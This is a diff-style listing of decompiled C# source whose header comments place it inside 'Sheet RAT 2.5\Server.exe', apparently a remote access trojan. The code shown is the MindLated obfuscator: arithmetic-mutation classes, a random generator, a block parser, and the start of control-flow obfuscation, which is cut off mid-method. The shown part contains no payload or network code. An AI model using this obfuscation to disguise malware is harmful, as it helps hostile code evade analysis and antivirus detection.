List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log10
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Log10 : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log10;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Round
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Round : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Round;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sin
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Sin : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sin;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sqrt
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Sqrt : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sqrt;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tan
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Tan : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tan;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tanh
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Tanh : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tanh;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Truncate
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Truncate : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Truncate;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Mul
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions {
|
||||
|
||||
public class Mul : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Mul;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Mul), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Sub
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions {
|
||||
|
||||
public class Sub : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sub;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Sub), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Xor
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions {
|
||||
|
||||
public class Xor : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Xor;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), (double) generator.Next(), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Xor), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Generator.Generator
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Generator {
|
||||
|
||||
public class Generator
|
||||
{
|
||||
private readonly Random _random;
|
||||
|
||||
public Generator() => this._random = new Random(Guid.NewGuid().GetHashCode());
|
||||
|
||||
public int Next() => this._random.Next(int.MaxValue);
|
||||
|
||||
public int Next(int value) => this._random.Next(value);
|
||||
|
||||
public int Next(int min, int max) => this._random.Next(min, max);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Token
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet.Emit;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public class Token
|
||||
{
|
||||
private readonly OpCode _opCode;
|
||||
private readonly object _operand;
|
||||
|
||||
public Token(OpCode opCode, object operand)
|
||||
{
|
||||
this._opCode = opCode;
|
||||
this._operand = operand;
|
||||
}
|
||||
|
||||
public Token(OpCode opCode)
|
||||
{
|
||||
this._opCode = opCode;
|
||||
this._operand = (object) null;
|
||||
}
|
||||
|
||||
public OpCode GetOpCode() => this._opCode;
|
||||
|
||||
public object GetOperand() => this._operand;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Utils.ArithmeticUtils
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet.Emit;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Utils {
|
||||
|
||||
public static class ArithmeticUtils
|
||||
{
|
||||
public static bool CheckArithmetic(Instruction instruction)
|
||||
{
|
||||
return instruction.IsLdcI4() && instruction.GetLdcI4Value() != 1 && instruction.GetLdcI4Value() != 0;
|
||||
}
|
||||
|
||||
public static double GetY(double x) => x / 2.0;
|
||||
|
||||
public static MethodInfo GetMethod(ArithmeticTypes mathType)
|
||||
{
|
||||
switch (mathType)
|
||||
{
|
||||
case ArithmeticTypes.Abs:
|
||||
return typeof (Math).GetMethod("Abs", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Log:
|
||||
return typeof (Math).GetMethod("Log", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Log10:
|
||||
return typeof (Math).GetMethod("Log10", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Sin:
|
||||
return typeof (Math).GetMethod("Sin", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Cos:
|
||||
return typeof (Math).GetMethod("Cos", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Round:
|
||||
return typeof (Math).GetMethod("Round", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Sqrt:
|
||||
return typeof (Math).GetMethod("Sqrt", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Ceiling:
|
||||
return typeof (Math).GetMethod("Ceiling", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Floor:
|
||||
return typeof (Math).GetMethod("Floor", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Tan:
|
||||
return typeof (Math).GetMethod("Tan", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Tanh:
|
||||
return typeof (Math).GetMethod("Tanh", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
case ArithmeticTypes.Truncate:
|
||||
return typeof (Math).GetMethod("Truncate", new Type[1]
|
||||
{
|
||||
typeof (double)
|
||||
});
|
||||
default:
|
||||
return (MethodInfo) null;
|
||||
}
|
||||
}
|
||||
|
||||
public static OpCode GetOpCode(ArithmeticTypes arithmetic)
|
||||
{
|
||||
if (arithmetic == ArithmeticTypes.Add)
|
||||
return OpCodes.Add;
|
||||
return arithmetic == ArithmeticTypes.Sub ? OpCodes.Sub : (OpCode) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Value
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic {
|
||||
|
||||
public class Value
|
||||
{
|
||||
private readonly double _x;
|
||||
private readonly double _y;
|
||||
|
||||
public Value(double x, double y)
|
||||
{
|
||||
this._x = x;
|
||||
this._y = y;
|
||||
}
|
||||
|
||||
public double GetX() => this._x;
|
||||
|
||||
public double GetY() => this._y;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.CtrlFlow.Block
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet.Emit;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.CtrlFlow {
|
||||
|
||||
public class Block
|
||||
{
|
||||
public Block() => this.Instructions = new List<Instruction>();
|
||||
|
||||
public List<Instruction> Instructions { get; set; }
|
||||
|
||||
public int Number { get; set; }
|
||||
|
||||
public int SubRand { get; set; }
|
||||
|
||||
public int PlusRand { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.CtrlFlow.BlockParser
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using System.Collections.Generic;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.CtrlFlow {
|
||||
|
||||
public class BlockParser
|
||||
{
|
||||
public static List<Block> ParseMethod(MethodDef method)
|
||||
{
|
||||
List<Block> method1 = new List<Block>();
|
||||
Block block1 = new Block();
|
||||
int num1 = 0;
|
||||
int num2 = 0;
|
||||
block1.Number = num1;
|
||||
block1.Instructions.Add(Instruction.Create(OpCodes.Nop));
|
||||
method1.Add(block1);
|
||||
Block block2 = new Block();
|
||||
Stack<ExceptionHandler> exceptionHandlerStack = new Stack<ExceptionHandler>();
|
||||
foreach (Instruction instruction in (IEnumerable<Instruction>) method.Body.Instructions)
|
||||
{
|
||||
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
|
||||
{
|
||||
if (exceptionHandler.HandlerStart == instruction || exceptionHandler.TryStart == instruction || exceptionHandler.FilterStart == instruction)
|
||||
exceptionHandlerStack.Push(exceptionHandler);
|
||||
}
|
||||
foreach (ExceptionHandler exceptionHandler in (IEnumerable<ExceptionHandler>) method.Body.ExceptionHandlers)
|
||||
{
|
||||
if (exceptionHandler.HandlerEnd == instruction || exceptionHandler.TryEnd == instruction)
|
||||
exceptionHandlerStack.Pop();
|
||||
}
|
||||
int pushes;
|
||||
int pops;
|
||||
instruction.CalculateStackUsage(out pushes, out pops);
|
||||
block2.Instructions.Add(instruction);
|
||||
num2 += pushes - pops;
|
||||
if (pushes == 0 && instruction.OpCode != OpCodes.Nop && (num2 == 0 || instruction.OpCode == OpCodes.Ret) && exceptionHandlerStack.Count == 0)
|
||||
{
|
||||
block2.Number = ++num1;
|
||||
method1.Add(block2);
|
||||
block2 = new Block();
|
||||
}
|
||||
}
|
||||
return method1;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,180 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.CtrlFlow.ControlFlowObfuscation
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Renamer;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.CtrlFlow {
|
||||
|
||||
internal class ControlFlowObfuscation
|
||||
{
|
||||
public static Random rnd = new Random();
|
||||
|
||||
public static void Execute(ModuleDefMD md)
|
||||
{
|
||||
foreach (TypeDef type in (IEnumerable<TypeDef>) md.Types)
|
||||
{
|
||||
if (type != md.GlobalType)
|
||||
{
|
||||
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||||
{
|
||||
if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor)
|
||||
{
|
||||
method.Body.SimplifyBranches();
|
||||
ControlFlowObfuscation.ExecuteMethod(method);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Instruction StLoc(Local local)
|
||||
{
|
||||
switch (local.Index)
|
||||
{
|
||||
case 0:
|
||||
return Instruction.Create(OpCodes.Stloc_0);
|
||||
case 1:
|
||||
return Instruction.Create(OpCodes.Stloc_1);
|
||||
case 2:
|
||||
return Instruction.Create(OpCodes.Stloc_2);
|
||||
case 3:
|
||||
return Instruction.Create(OpCodes.Stloc_3);
|
||||
default:
|
||||
return Instruction.Create(OpCodes.Stloc, local);
|
||||
}
|
||||
}
|
||||
|
||||
public static Instruction Ldloc(Local local)
|
||||
{
|
||||
switch (local.Index)
|
||||
{
|
||||
case 0:
|
||||
return Instruction.Create(OpCodes.Ldloc_0);
|
||||
case 1:
|
||||
return Instruction.Create(OpCodes.Ldloc_1);
|
||||
case 2:
|
||||
return Instruction.Create(OpCodes.Ldloc_2);
|
||||
case 3:
|
||||
return Instruction.Create(OpCodes.Ldloc_3);
|
||||
default:
|
||||
return Instruction.Create(OpCodes.Ldloc, local);
|
||||
}
|
||||
}
|
||||
|
||||
public static TypeSig RandomSig(MethodDef method)
|
||||
{
|
||||
switch (ControlFlowObfuscation.rnd.Next(0, 3))
|
||||
{
|
||||
case 0:
|
||||
return (TypeSig) method.Module.CorLibTypes.Int32;
|
||||
case 1:
|
||||
return (TypeSig) method.Module.CorLibTypes.Int64;
|
||||
case 2:
|
||||
return (TypeSig) method.Module.CorLibTypes.Double;
|
||||
default:
|
||||
return (TypeSig) method.Module.CorLibTypes.Int32;
|
||||
}
|
||||
}
|
||||
|
||||
public static void ExecuteMethod(MethodDef method)
|
||||
{
|
||||
method.Body.SimplifyMacros((IList<Parameter>) method.Parameters);
|
||||
